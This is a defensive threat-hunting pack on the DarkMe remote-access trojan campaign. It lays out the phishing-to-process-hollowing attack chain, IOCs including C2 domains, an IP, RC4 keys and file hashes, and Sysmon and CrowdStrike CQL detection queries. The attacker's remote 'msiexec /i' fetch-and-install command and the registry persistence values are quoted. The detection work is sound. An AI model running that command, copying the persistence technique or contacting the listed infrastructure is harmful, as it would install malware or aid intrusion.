DarkMe RAT (VB6 Spy-RAT) — Water Hydra / Operation DarkCasino
Executive Summary
DarkMe is a Visual Basic 6 (VB6) spy-RAT attributed to the financially-motivated APT tracked as Water Hydra (a.k.a. the EvilNum-led Operation DarkCasino, first documented by NSFOCUS in September 2022). Huntress observed the malware in two separate incidents on 2026-08-31, and the notable shift is delivery: Water Hydra previously burned two zero-days to deliver DarkMe — the WinRAR extension-spoofing flaw (CVE-2023-38831, weaponized April 2023) and the Windows Defender SmartScreen bypass (CVE-2024-21412, weaponized late 2023/early 2024) — but this campaign uses neither. The infection now starts with a plain phishing email linking to what looks like a PNG; the click downloads image.pif, a Windows PE that modern Windows will execute on sight regardless of icon or claimed extension.
The attacker's objective is the same as it has always been: get the VB6 loader chain (Coconout.dll → Use.dll → Finalized.dll) onto the host, pass an inverted 329-application sandbox check ("does a real person use this machine"), establish triple persistence (COM CLSID hijack, custom protocol handler, Run key), and process-hollow the DarkMe payload into a legitimate signed Microsoft binary (clspack.exe) before beaconing to an RC4-obscured C2 for crypto-wallet theft, screenshots, and arbitrary command execution.
The highest-value defensive angle is not the phishing lure — it is the deterministic, low-noise execution chain behind it. rundll32.exe /sta {GUID} with no DLL path, reg.exe import of a .txt file, and a signed Microsoft utility running from %AppData% are all patterns Huntress independently rates as "rare in legitimate use" and that this pack turns into standing detections (§8).
Defender priority: every atomic indicator in this pack (hashes, domains, C2 IP) is corroborated by exactly one public source (Huntress) as of 2026-09-28. Per this pack's evidentiary bar, nothing here is promoted to a blocking/prevent posture — treat §10's Falcon IOC CSV as detect-only and lean on the behavioral queries in §8, which do not depend on this campaign's specific infrastructure staying static.
Source Review & Web Hunter Notes
| # | Tier | Source | Date | Key Finding | Carry Forward |
|---|---|---|---|---|---|
| 1 | T2 | Huntress — "DarkMe Email Campaign Broadens Targeting For APT RAT" | 2026-09-22 | Primary technical analysis: full attack chain, all 9 file hashes, CLSID/TypeLib, registry persistence, RC4 key, C2 domain/IP, C2 command set | Yes — primary source for every atomic IOC in this pack |
| 2 | T2 | Help Net Security — "DarkMe RAT trades zero-days for plain phishing emails" | 2026-09-23 | Syndicated coverage of the Huntress report with an added analyst quote (Andrew Brandt, Huntress) on likely Spanish-national developer attribution and financially-driven motive, including willingness to target minors for game-currency theft | Partial — narrative/attribution context only; not treated as independent corroboration of Huntress's atomic IOCs (see §10 prevent-posture note) |
| 3 | T3 | IT Security Guru — "Zero-day hackers ditch exploits for a fake image file in new DarkMe campaign" (2026-09-23) | 2026-09-23 | — | No — site returned HTTP 403 / Cloudflare bot challenge on every fetch attempt (direct fetch and tool-assisted fetch). Dropped as a dead source per this pack's sourcing rule rather than cited without a saved snapshot. |
| 4 | T2 | SonicWall — "A Deep Dive Into DarkMe RAT Malware" | background | Independent technical analysis of the 2024 SmartScreen-era DarkMe sample: confirms the single-byte-XOR-after-a-broken-RC4 payload pattern and the historical RC4 C2 key noway123!$$#@35@! (different sample, different C2 — NOT reused for this campaign's IOCs) | Yes — background/lineage only, not this campaign's atomic IOCs |
| 5 | T3 | Black Arrow Cyber — Threat Briefing, 25 September 2026 | 2026-09-25 | Digest entry summarizing the Help Net Security / Huntress reporting; confirms the story had reached general threat-briefing circulation by 2026-09-25 | Partial — corroborates timeline/visibility only |
| 6 | T1 | Trend Micro Zero Day Initiative — "CVE-2024-21412: Water Hydra Targets Traders With Microsoft Defender SmartScreen Zero-Day" | background (2024) | Confirms Water Hydra / DarkCasino lineage (first detected 2021, initially misattributed to EvilNum, split out as its own cluster by Nov 2023), the CVE-2024-21412 attack chain, and prior use of CVE-2023-38831 | Yes — actor background and historical zero-day chain only |
| 7 | T1 | Group-IB — "Traders' Dollars in Danger: CVE-2023-38831 zero-day vulnerability in WinRAR" | background (2023) | Original disclosure of CVE-2023-38831 (WinRAR extension-spoofing), found while researching DarkMe distribution; confirms the vulnerability was exploited from April 2023 and patched in WinRAR 6.23 | Yes — historical zero-day background only |
Tier definitions: T1 vendor/primary-discoverer research; T2 reputable security press / MDR vendor blog; T3 aggregator or threat-briefing digest.
Prompt-injection check: none of the fetched pages contained instructions directed at the research agent (no embedded directives to run commands, fetch alternate "real" IOC sources, or alter these instructions). All fetched content was treated as data.
Hunt Brief & Attack Chain
Hunt hypotheses (ordered by fidelity)
| # | Hypothesis | MITRE | Falcon Telemetry | Expected FP | Confidence |
|---|---|---|---|---|---|
| H1 | A host executed a .pif file that is actually a PE, delivered via a link that claimed to be an image | T1204.002, T1036.008 | ProcessRollup2 / SyntheticProcessRollup2, PeFileWritten | Low — .pif has essentially no modern legitimate use | High |
| H2 | rundll32.exe /sta {GUID} invoked with no DLL path is a durable DarkMe signature Huntress ties to both the 2024 and 2026 campaigns unchanged | T1218.011, T1546.015 | ProcessRollup2 / SyntheticProcessRollup2 | Low | High |
| H3 | A signed Microsoft binary (clspack.exe) is executing from a user-writable %AppData% path instead of System32/SysWOW64 — a process-hollowing tell | T1055.012, T1036.005 | ProcessRollup2, NetworkConnectIP4 (joined) | Low | High |
| H4 | A COM CLSID under HKCU has an InprocServer32 value pointing into a user-writable AppData path rather than Program Files/System32 | T1546.015 | AsepValueUpdate / RegGenericValueUpdate | Medium — some legitimate per-user COM add-ins register under HKCU | Medium–High |
| H5 | msiexec.exe is installing an MSI fetched directly from an HTTP(S) URL with /quiet /norestart | T1218.007, T1204.002 | ProcessRollup2 / SyntheticProcessRollup2 | Medium — some RMM/deployment tooling does this legitimately | High |
| H6 | reg.exe import is being run against a .txt file, an anomalous argument type for that command | T1112 | ProcessRollup2 / SyntheticProcessRollup2 | Low | High |
| H7 | A Run-key value invokes explorer.exe with a custom URI-scheme argument rather than a plain executable path, masking the true parent of a follow-on rundll32 relaunch | T1547.001, T1036.005 | AsepValueUpdate | Low | High |
| H8 | A host is resolving or connecting to this campaign's specific C2 domain/IP:port | T1071.004, T1571 | DnsRequest, NetworkConnectIP4 | Low, but infrastructure is perishable | High (while current) |
Attack chain
| Step | Action | Telemetry | Hunt Angle |
|---|---|---|---|
| 1 | Phishing email links to what appears to be image.png; the web server actually serves image.pif (a Windows PE) | Mail gateway / proxy logs (no native Falcon telemetry) | §7 native mail-gateway hunt |
| 2 | User double-clicks image.pif; Windows executes it as a program regardless of icon/extension | ProcessRollup2, PeFileWritten | Q1, Q2 |
| 3 | image.pif runs msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart | ProcessRollup2 | Q3 |
| 4 | MSI expands a CAB into %AppData%\ComponentsFolder\ and executes the staging script prnfig.wsf | PeFileWritten, ProcessRollup2 | Q4, Q14 |
| 5 | prnfig.wsf copies clspack.exe to %AppData%\Microsoft\, rewrites a registry template with the local path to Coconout.dll, and runs reg.exe import filetext2.txt | ProcessRollup2, AsepValueUpdate/RegGenericValueUpdate | Q5, Q8 |
| 6 | The import registers CLSID {CFDC57BA-1705-45AF-BA10-EFC3D592982B} (ProgID Coconout.Primary) with InprocServer32 pointing at Coconout.dll; the script then runs rundll32.exe /sta {CFDC57BA-...} | ProcessRollup2 | Q6, Q7 |
| 7 | Coconout.dll (stage 1, COM entry via IShellRunDll) loads Use.dll and calls its FillText export | Not independently visible — in-process DLL load/export call | GAP (see §15) |
| 8 | Use.dll (stage 2) enumerates 329 target applications as an inverted sandbox check; on a pass it writes triple persistence: the CLSID registration (step 6), a custom protocol handler under HKCU\Software\Classes\Locked\shell\open\command, and a Run-key value explorer.exe "Locked://Newest" | AsepValueUpdate/RegGenericValueUpdate (persistence only — the enumeration itself is in-memory) | Q8, Q9, Q10; enumeration is a GAP |
| 9 | Use.dll loads Finalized.dll (stage 3), which decrypts company.cer with the key Nobodygoingout (a broken single-byte-effective RC4/XOR, per Huntress's cipher analysis) and process-hollows the result into a freshly copied, legitimately signed clspack.exe | Decryption is in-memory (GAP); the hollowed process itself is visible | Q11 |
| 10 | The hollowed clspack.exe runs the DarkMe VB6 RAT, which RC4-decrypts its C2 string at runtime and beacons to thatawful[.]boutique / 67.43.50.11:7712 | DnsRequest, NetworkConnectIP4 | Q12, Q13 |
| 11 | Operator issues commands (SHLEXE/ZIPALO/COPALO/PASALO/DELMAP/STRFLS) to steal crypto-wallet data, capture screenshots, enumerate AV, manipulate files, and run arbitrary commands | Folded into the same C2 channel as step 10; no distinct artifact beyond it | GAP (capability-level, see §15) |
Consolidated IOC Table
Every row below is sourced to exactly one public reporter (Huntress, 2026-09-22). Per this pack's prevent-posture rule, Action = detect/hunt only for all atomic indicators — none are promoted to a blocking posture. clspack.exe is listed for context; it is a legitimate Microsoft-signed binary and must never be blocked or treated as malicious in isolation.
| Type | Value | Confidence | Action | Context | Expiry |
|---|---|---|---|---|---|
| sha256 | 394c93dfbb7581c66a23c52b20cd90b31415c0825a2eab7107e60ee3fe693c04 | High | detect | image.pif — initial dropper, masquerades as an image | 2027-03-28 |
| sha256 | 9fb5888f9ac99227a35f3e08ca08bfb9eed676e1f91638599eba0d7a5aac847f | High | detect | propi.msi — exemsi-wrapped staging MSI | 2027-03-28 |
| sha256 | 1c923c685f97e556f241d0f1880283500a61dc7ecae8cafe75f34c720ff6b918 | High | detect | prnfig.wsf — staging VBScript/WSH script | 2027-03-28 |
| sha256 | 52b242047a8055c0936b384b952c1c16c1072a590610140b01f4acefa8ae883a | Medium | detect | filetext2.txt — registry import for COM registration | 2027-03-28 |
| sha256 | 4a18f65ab7de7be385cbcebc78c9ae49334294f93726822b8900f9b7a324a6b0 | High | detect | Coconout.dll — loader stage 1 (COM entry point) | 2027-03-28 |
| sha256 | 3052352ac811c48590f0239281312c35560fc06b4dc39790e365eb1e7cab8634 | High | detect | Use.dll — loader stage 2 (anti-sandbox gate + persistence, export FillText) | 2027-03-28 |
| sha256 | d7185bd7b450b478c793ece3025bdd867eed70bb7b739a5f26375b5ba6cf0d93 | High | detect | Finalized.dll — loader stage 3 (RunPE, export Calculation) | 2027-03-28 |
| sha256 | 54ed18aa883b53794810be0428b3a0167758183c5b3ba5660af747dc81dd5b76 | High | detect | company.cer — encrypted DarkMe payload | 2027-03-28 |
| sha256 | 2915efecf2a01ce0b3ef49c47666ec43c326e7804df10e5859db5f08eeca8a37 | — | context only — do not block | clspack.exe — legitimate Microsoft-signed "Zip Package Creation Tool"; the hollowing target, not malware | — |
| domain | readonline365.com | High | detect | Phishing delivery / redirect host | 2027-03-28 |
| domain | storageonline.me | High | detect | Phishing delivery host | 2027-03-28 |
| domain | viewdocument.live | High | detect | Phishing delivery host (Hostinger, starter-template site) | 2027-03-28 |
| domain | advancedfuturetechnology.com | Medium | detect | Phishing delivery host; suspended by provider at time of publication | 2027-03-28 |
| domain | sharedfuturetech.com | Medium | detect | Phishing delivery host; payload pulled at time of publication and observed reused for an unrelated ClickFix lure — treat as shared/compromised infrastructure, not exclusively DarkMe | 2027-03-28 |
| domain | onlineview365.com | High | detect | MSI staging host (/propi.msi) | 2027-03-28 |
| domain | thatawful.boutique | High | detect | RC4-decrypted C2 domain (not resolving at time of Huntress publication) | 2027-03-28 |
| ipv4 | 67.43.50.11 | High | detect | C2 endpoint, TCP/7712 | 2027-03-28 |
| port | 7712/tcp | High | enrich | Hardcoded, non-standard DarkMe C2 port — low-noise egress signal per Huntress | 2027-01-28 |
| registry-clsid | {CFDC57BA-1705-45AF-BA10-EFC3D592982B} | High | detect | COM server CLSID (ProgID Coconout.Primary); unchanged since the 2024 campaign | 2027-03-28 |
| registry-typelib | {8F1576C0-BB08-4F05-87A6-268C0D548794} | Medium | enrich | Associated TypeLib GUID | 2026-10-28 |
| registry-key | HKCU\Software\Classes\Locked\shell\open\command | High | hunt | Custom Locked:// protocol handler (persistence) | 2026-12-28 |
| registry-value | Run!Locked = explorer.exe "Locked://Newest" | High | hunt | Logon persistence value (T1547.001) | 2026-12-28 |
| crypto-key | onlywayhere23!$$#@!!35@!12 | Medium | pivot | RC4 key decrypting the C2 string from the RAT's VB form (this sample — differs from the 2024 public-builder key) | 2026-10-28 |
| crypto-key | Nobodygoingout | Medium | pivot | Key that decrypts company.cer ahead of process hollowing | 2026-10-28 |
Affected Surface & Telemetry Matrix
| Surface | Required Telemetry | Priority | Gap Risk |
|---|---|---|---|
Windows endpoints (any — no OS-version prerequisite; .pif runs on any modern Windows build) | ProcessRollup2, SyntheticProcessRollup2, PeFileWritten | Critical | Low — standard Falcon sensor telemetry |
| Windows registry (HKCU, per-user) | AsepValueUpdate, RegGenericValueUpdate | Critical | Low, but noisy without tuning (§8 Q8/Q9) |
| Network egress / DNS | DnsRequest, NetworkConnectIP4 | High | Medium — infrastructure is perishable; domain was already non-resolving at Huntress's time of publication |
| Email / phishing delivery | Not a Falcon telemetry source — mail gateway / SEG logs | High | Gap — covered only by §7 native hunt guidance, not CQL |
| In-process VB6 loader behavior (anti-sandbox enumeration, RC4/XOR payload decryption) | None — no Falcon event captures in-process export calls or memory-only decryption | Medium | Gap — rely on the persistence/network artifacts the loader leaves behind instead (§8, §15) |
| Crypto-wallet applications / browsers (targeted data) | No dedicated Falcon event for wallet-file access; visible only via the C2 channel carrying the theft | Medium | Gap for the theft itself; C2 channel is covered (Q12/Q13) |
ATT&CK Mapping
| Tactic | Technique | Name | Observed Behavior | Query / Control |
|---|---|---|---|---|
| Initial Access | T1566.002 | Phishing: Spearphishing Link | Email links to a URL that claims to be a PNG image | §7 mail-gateway hunt |
| Execution | T1204.002 | User Execution: Malicious File | User double-clicks image.pif | Q1, Q2 |
| Defense Evasion | T1036.008 | Masquerading: Masquerade File Type | PE served/renamed as a .pif behind an image-looking link | Q1, Q2 |
| Execution / Defense Evasion | T1218.007 | System Binary Proxy Execution: Msiexec | msiexec /i https://.../propi.msi /quiet /norestart | Q3 |
| Execution | T1059.005 | Command and Scripting Interpreter: Visual Basic (WSH) | prnfig.wsf executed by wscript/cscript from %AppData% | Q4 |
| Defense Evasion | T1112 | Modify Registry | reg.exe import filetext2.txt registers the COM server | Q5 |
| Defense Evasion / Execution | T1218.011 | System Binary Proxy Execution: Rundll32 | rundll32.exe /sta {CLSID}, no DLL path | Q6, Q7 |
| Persistence / Privilege Escalation | T1546.015 | Event Triggered Execution: Component Object Model Hijacking | HKCU CLSID InprocServer32 → Coconout.dll | Q8 |
| Persistence | T1546.001 | Event Triggered Execution: Change Default File Association (protocol handler variant) | Custom Locked:// handler under HKCU Classes | Q9 |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys | Run value explorer.exe "Locked://Newest" | Q10 |
| Defense Evasion | T1497.001 | Virtualization/Sandbox Evasion: System Checks | Inverted 329-application enumeration in Use.dll | GAP — in-memory only |
| Discovery | T1057 / T1518.001 | Process Discovery / Security Software Discovery | CreateToolhelp32Snapshot/Process32First/Process32Next walk of the live process list | GAP — in-memory only |
| Defense Evasion | T1027 | Obfuscated Files or Information | RC4/XOR-encrypted payload (company.cer), RC4-encrypted C2 string | GAP for the crypto itself; Q11–Q13 catch its effects |
| Defense Evasion | T1055.012 | Process Injection: Process Hollowing | Finalized.dll hollows the decrypted payload into clspack.exe | Q11 |
| Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name or Location | Signed Microsoft binary run from %AppData% instead of System32 | Q11 |
| Command and Control | T1071.004 | Application Layer Protocol: DNS | Resolution of thatawful[.]boutique | Q12 |
| Command and Control | T1571 | Non-Standard Port | C2 over TCP/7712 | Q13 |
| Command and Control | T1132.002 / T1027 | Data Encoding / Obfuscated C2 String | C2 domain RC4-decrypted at runtime from a VB form textbox | GAP for the decrypt; Q12/Q13 catch the result |
| Collection | T1113 | Screen Capture | DarkMe screenshot capability | GAP (no distinct artifact beyond C2 channel) |
| Collection | T1005 | Data from Local System | Crypto-wallet file theft (SHLEXE/COPALO/PASALO command set) | GAP (no distinct artifact beyond C2 channel) |
| Discovery | T1518.001 | Security Software Discovery | AV enumeration capability | GAP (no distinct artifact beyond C2 channel) |
| Execution | T1059 | Command and Scripting Interpreter | SHLEXE C2 command (execute shell command) | GAP (no distinct artifact beyond C2 channel) |
Native Audit-Log Hunts
Checks that do not depend on Falcon CQL — use where Sysmon, Windows auditing, or mail-gateway logs are the only telemetry available, or to cross-validate a Falcon hit.
Sysmon
- Event ID 1 (Process Create):
Imageends in.pif; orImageends inmsiexec.exeandCommandLinecontains/i http; orImageends inwscript.exe/cscript.exeandCommandLinecontains.wsfandAppData; orImageends inreg.exeandCommandLinecontainsimportand.txt; orImageends inrundll32.exeandCommandLinematches/sta {GUID}with no DLL argument. - Event ID 11 (File Create):
TargetFilenameunder\AppData\Roaming\ComponentsFolder\, or any.pifcreation outside a legacy line-of-business share. - Event ID 12/13/14 (Registry):
TargetObjectcontainingCLSID\{CFDC57BA-1705-45AF-BA10-EFC3D592982B},Classes\Locked\shell\open\command, or a new value under...\CurrentVersion\Runwhose data starts withexplorer.exe "followed by a non-httpURI scheme. - Event ID 22 (DNS Query):
QueryName=thatawful.boutique. - Event ID 3 (Network Connect):
DestinationIp=67.43.50.11and/orDestinationPort=7712.
Windows Security auditing
- Event ID 4688 (process creation, with command-line auditing enabled via
Include command line in process creation eventsGPO) as a fallback for the Sysmon process rules above on hosts without Sysmon. - Event ID 4657 (registry value modified, requires SACL on the relevant hive) for the CLSID/protocol-handler/Run-key writes, if Advanced Audit Policy > Object Access > Registry is enabled with the appropriate SACLs (see §13 Step 5).
- Zone.Identifier alternate data stream on
image.pif(Mark-of-the-Web) confirms the file arrived from the internet/email rather than being locally built — useful corroboration during triage even though Falcon does not surface ADS contents directly.
Mail gateway / SEG
- Alert on inbound mail containing links whose display text or anchor implies an image (
.png/.jpg extension, "photo", "scan") but whose true-file-type detonation returns a PE or.pif. - Alert on, or retroactively hunt for, delivery to
readonline365.com,storageonline.me,viewdocument.live,advancedfuturetechnology.com, orsharedfuturetech.comin URL-click/proxy logs (single-sourced — treat as monitor-and-triage, not an automatic block; see §10).
CrowdStrike LogScale CQL Hunt Queries
Looks for: any process execution where the file name ends in .pif. FP: low — legacy MS-DOS program-information files are effectively extinct on modern Windows.
// HUNT: PIF Execution — PE Masquerading as an Image // MITRE: T1204.002, T1036.008 // CONF: high FP: low COST: low // REQUIRES: ProcessRollup2, SyntheticProcessRollup2 // FALSE POSITIVES: none expected — a true positive here should be treated as a page-1 finding // LOOKBACK: 30d (set via the Falcon time picker, not an in-query filter) #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | FileName=/\.pif$/i | table([ComputerName, UserName, FileName, ImageFileName, ParentBaseFileName, CommandLine, SHA256HashData])
Looks for: a .pif file landing on disk, independent of whether it ever executed. FP: low — .pif is not a build artifact of any common software-distribution channel.
// HUNT: PIF Dropped to Disk // MITRE: T1204.002, T1036.008 // CONF: high FP: low COST: low // REQUIRES: PeFileWritten // FALSE POSITIVES: none expected // LOOKBACK: 30d #event_simpleName=PeFileWritten | TargetFileName=/\.pif$/i | table([ComputerName, UserName, TargetFileName, SHA256HashData, ContextBaseFileName])
Looks for: msiexec.exe installing directly from an HTTP(S) URL with silent/no-restart flags. FP: medium — some RMM/deployment tooling (SCCM, Intune, Chocolatey) legitimately calls msiexec against a URL.
// HUNT: msiexec Fetching a Remote MSI Over HTTP(S) // MITRE: T1218.007, T1204.002 // CONF: high FP: medium COST: low // REQUIRES: ProcessRollup2, SyntheticProcessRollup2 // FALSE POSITIVES: SCCM, Intune, and similar deployment tools can call msiexec against an internal or vendor URL // TUNING: exclude CommandLine matches for your known SCCM distribution point, Intune content delivery network, or internal package-repo hostname before promoting to an alert #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | FileName=/^msiexec\.exe$/i | CommandLine=/\/i\s+https?:\/\//i | CommandLine=/\/quiet/i | table([ComputerName, UserName, FileName, CommandLine, ParentBaseFileName])
Looks for: the Windows Script Host running a .wsf file staged under %AppData%. FP: low — rare legacy OEM/print-utility scripts are the only expected benign hits; validate against known internal WSF tooling.
// HUNT: WSF Execution From %AppData% via WScript/CScript // MITRE: T1059.005, T1027 // CONF: high FP: low COST: low // REQUIRES: ProcessRollup2, SyntheticProcessRollup2 // FALSE POSITIVES: rare legacy OEM or print-management WSF scripts #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | FileName=/^(wscript|cscript)\.exe$/i | CommandLine=/\.wsf/i | CommandLine=/AppData/i | table([ComputerName, UserName, FileName, CommandLine, ParentBaseFileName])
Looks for: reg.exe import pointed at a .txt file rather than a .reg file. FP: low — essentially none; legitimate software almost never does this.
// HUNT: reg.exe Import of a .txt File // MITRE: T1112 // CONF: high FP: low COST: low // REQUIRES: ProcessRollup2, SyntheticProcessRollup2 // FALSE POSITIVES: none expected — the .txt argument is itself the anomaly #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | FileName=/^reg\.exe$/i | CommandLine=/import/i | CommandLine=/\.txt/i | table([ComputerName, UserName, CommandLine, ParentBaseFileName, ParentProcessId])
Looks for: rundll32.exe invoked with /sta and a bare GUID, with no DLL path on the command line — a pattern Huntress calls "central to every documented DarkMe generation and rare in legitimate use." Written generically so it also catches CLSID rotation in a future campaign variant. FP: low — ⚠ validate in tenant against any internally registered shell-extension CLSIDs that use this same invocation style.
// HUNT: rundll32 /sta {GUID} With No DLL Path (Generic COM IOA Pattern) // MITRE: T1218.011, T1546.015 // CONF: high FP: low COST: low // REQUIRES: ProcessRollup2, SyntheticProcessRollup2 // FALSE POSITIVES: legitimate /sta invocations almost always carry a DLL path before the switch — ⚠ validate in tenant #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | FileName=/^rundll32\.exe$/i | CommandLine=/\/sta\s+\{[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}\}/i | table([ComputerName, UserName, CommandLine, ParentBaseFileName])
Looks for: the exact CLSID {CFDC57BA-1705-45AF-BA10-EFC3D592982B} on any command line — reused unchanged from the 2024 Water Hydra chain into this 2026 phishing-only chain. FP: low — this literal value is campaign-specific.
// HUNT: Known DarkMe CLSID Execution — rundll32 /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B} // MITRE: T1218.011, T1546.015 // CONF: high FP: low COST: low // REQUIRES: ProcessRollup2, SyntheticProcessRollup2 // FALSE POSITIVES: none — this exact CLSID is campaign-specific #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | CommandLine=/\{CFDC57BA-1705-45AF-BA10-EFC3D592982B\}/i | table([ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, ParentProcessId])
Looks for: a per-user CLSID InprocServer32 value written under HKCU whose target path lives in %AppData%. FP: medium — some legitimate per-user COM add-ins (Office add-ins, browser toolbars, backup-agent shell extensions) register this way too.
// HUNT: COM CLSID InprocServer32 Hijack Into %AppData% (HKCU) // MITRE: T1546.015 // CONF: medium FP: medium COST: low // REQUIRES: AsepValueUpdate, RegGenericValueUpdate // FALSE POSITIVES: legitimate per-user COM add-ins (Office add-ins, browser toolbars, backup-agent shell extensions) register InprocServer32 under HKCU too — verify the target DLL path and publisher // TUNING: exclude known-good vendor InprocServer32 paths under a signed vendor AppData subfolder (e.g. \AppData\Local\Microsoft\, \AppData\Roaming\Zoom\) before promoting to an alert #event_simpleName=/AsepValueUpdate|RegGenericValueUpdate/ | RegObjectName=/CLSID\\.*InprocServer32/i | RegStringValue=/\\AppData\\/i | table([ComputerName, UserName, RegObjectName, RegStringValue])
Looks for: any new shell\open\command value under HKCU\Software\Classes\<name> — this is how DarkMe registers its Locked:// handler. FP: medium — legitimate desktop apps (Slack, Teams, Zoom, Spotify, browsers, VPN clients) register their own URI-scheme handlers on install.
// HUNT: Custom Protocol Handler Registration Under HKCU Classes \shell\open\command // MITRE: T1546.001, T1112 // CONF: medium FP: medium COST: low // REQUIRES: AsepValueUpdate, RegGenericValueUpdate // FALSE POSITIVES: legitimate desktop apps register their own URI-scheme protocol handlers under HKCU on install // TUNING: exclude well-known vendor ProgIDs/protocol names (slack, msteams, zoommtg, spotify, http, https, mailto) — surface only unrecognized or short/random-looking protocol names such as "locked" #event_simpleName=/AsepValueUpdate|RegGenericValueUpdate/ | RegObjectName=/Software\\Classes\\[^\\]+\\shell\\open\\command/i | table([ComputerName, UserName, RegObjectName, RegValueName, RegStringValue])
Looks for: a Run-key value whose data invokes explorer.exe with a custom URI scheme instead of a plain executable path — the mechanism DarkMe uses to mask its true parent process at logon. FP: low — legitimate Run-key entries invoke an executable directly.
// HUNT: Run Key Launching explorer.exe With a Custom URI Scheme // MITRE: T1547.001, T1036.005 // CONF: high FP: low COST: low // REQUIRES: AsepValueUpdate // FALSE POSITIVES: none expected #event_simpleName=AsepValueUpdate | RegObjectName=/CurrentVersion\\Run/i | RegStringValue=/explorer\.exe\s*"?[A-Za-z0-9_-]{2,20}:\/\//i | table([ComputerName, UserName, RegObjectName, RegValueName, RegStringValue])
Looks for: clspack.exe ("Zip Package Creation Tool") running from a user profile path, left-joined to any network connection from the same process for one-shot triage context. FP: low — clspack.exe ships in System32/SysWOW64 and has no legitimate reason to run from %AppData%, let alone reach the network. Do not use this hash/binary as a standalone blocklist entry — it is legitimate and signed; only the execution location is the signal.
// HUNT: Signed clspack.exe Executing From %AppData% — Hollowing Indicator // MITRE: T1055.012, T1036.005 // CONF: high FP: low COST: medium // REQUIRES: ProcessRollup2, NetworkConnectIP4 // FALSE POSITIVES: none expected — clspack.exe has no legitimate reason to run outside System32/SysWOW64 #event_simpleName=ProcessRollup2 | FileName=/^clspack(\.exe)?$/i | ImageFileName=/\\AppData\\/i | rename(field=TargetProcessId_decimal, as=ContextProcessId_decimal) | join(query={#event_simpleName=NetworkConnectIP4}, field=ContextProcessId_decimal, mode=left) | table([ComputerName, UserName, ImageFileName, CommandLine, RemoteAddressIP4, RemotePort])
Looks for: resolution of this campaign's C2 domain. FP: low, but this infrastructure is perishable and was already non-resolving at Huntress's time of publication — treat a miss as inconclusive, not clean.
// HUNT: DNS Resolution to DarkMe C2 Domain // MITRE: T1071.004, T1568 // CONF: high FP: low COST: low // REQUIRES: DnsRequest // FALSE POSITIVES: none expected — single-purpose campaign infrastructure #event_simpleName=DnsRequest | DomainName=/^thatawful\.boutique$/i | table([ComputerName, UserName, DomainName, ContextProcessId])
Looks for: outbound connections to the C2 IP on its hardcoded port. FP: low — TCP/7712 is not a registered business-application port.
// HUNT: Network Egress to DarkMe C2 (67.43.50.11:7712) // MITRE: T1071, T1571 // CONF: high FP: low COST: low // REQUIRES: NetworkConnectIP4 // FALSE POSITIVES: none expected #event_simpleName=NetworkConnectIP4 | RemoteAddressIP4=/^67\.43\.50\.11$/ | RemotePort=7712 | table([ComputerName, UserName, RemoteAddressIP4, RemotePort, ContextBaseFileName])
Looks for: any PE/DLL written into DarkMe's staging directory. FP: medium — ComponentsFolder is not a reserved Windows path name; validate the writing process and signature before escalating.
// HUNT: PE/DLL Written to %AppData%\ComponentsFolder\ // MITRE: T1105, T1027 // CONF: medium FP: medium COST: low // REQUIRES: PeFileWritten // FALSE POSITIVES: "ComponentsFolder" is not a reserved Windows path — a rare legitimate installer could coincidentally use a similarly named subfolder // TUNING: exclude paths under \AppData\Local\Packages\ (MSIX/UWP) and any code-signed writer process already confirmed benign in your environment #event_simpleName=PeFileWritten | TargetFileName=/\\AppData\\Roaming\\ComponentsFolder\\.*\.(dll|exe)$/i | table([ComputerName, UserName, TargetFileName, SHA256HashData, ContextBaseFileName])
CrowdStrike Custom IOA Recommendations
Promote to a Custom IOA (blocking or high-priority alerting rule, as your policy allows) once each has run FP-clean over the §11 baseline window:
| Candidate | Pattern | Exclusions | Deployment path |
|---|---|---|---|
| Q7 — Known DarkMe CLSID | ProcessRollup2 where CommandLine contains {CFDC57BA-1705-45AF-BA10-EFC3D592982B} | None identified | Custom IOA, alert-only for one cycle then promote to block if your policy allows blocking on rundll32 COM invocation |
Q6 — Generic /sta {GUID}, no DLL path | ProcessRollup2 where FileName = rundll32.exe and CommandLine matches /sta {GUID-pattern} with nothing else on the line | ⚠ validate in tenant against any internal shell-extension CLSIDs invoked this way | Custom IOA, alert-only |
Q1 — .pif execution | ProcessRollup2/SyntheticProcessRollup2 where FileName matches \.pif$ | None identified | Custom IOA, strong candidate for full prevention (block) given near-zero legitimate use — validate against any internal legacy tooling first |
| Q10 — Run key → explorer.exe custom URI | AsepValueUpdate where RegObjectName matches CurrentVersion\Run and RegStringValue matches explorer\.exe ".{2,20}:// | None identified | Custom IOA, alert-only |
| Q13 — C2 IP:port | NetworkConnectIP4 where RemoteAddressIP4 = 67.43.50.11 and RemotePort = 7712 | None identified | Custom IOA, alert-only — single-sourced infrastructure, do not silently block (see §10); re-verify liveness before any blocking decision |
Q3, Q4, Q5, Q8, Q9, Q11, Q12, Q14 stay as scheduled hunt/investigate queries: each carries a real (medium, or context-dependent) false-positive population that needs environment-specific tuning before it is safe to alert on unattended.
Machine-Readable IOC Appendix
All rows below are single-sourced (Huntress, 2026-09-22). None are shipped at action=prevent — see the prevent-posture rule in §4/§12. clspack.exe appears only as documented context; never import it as a blockable indicator.
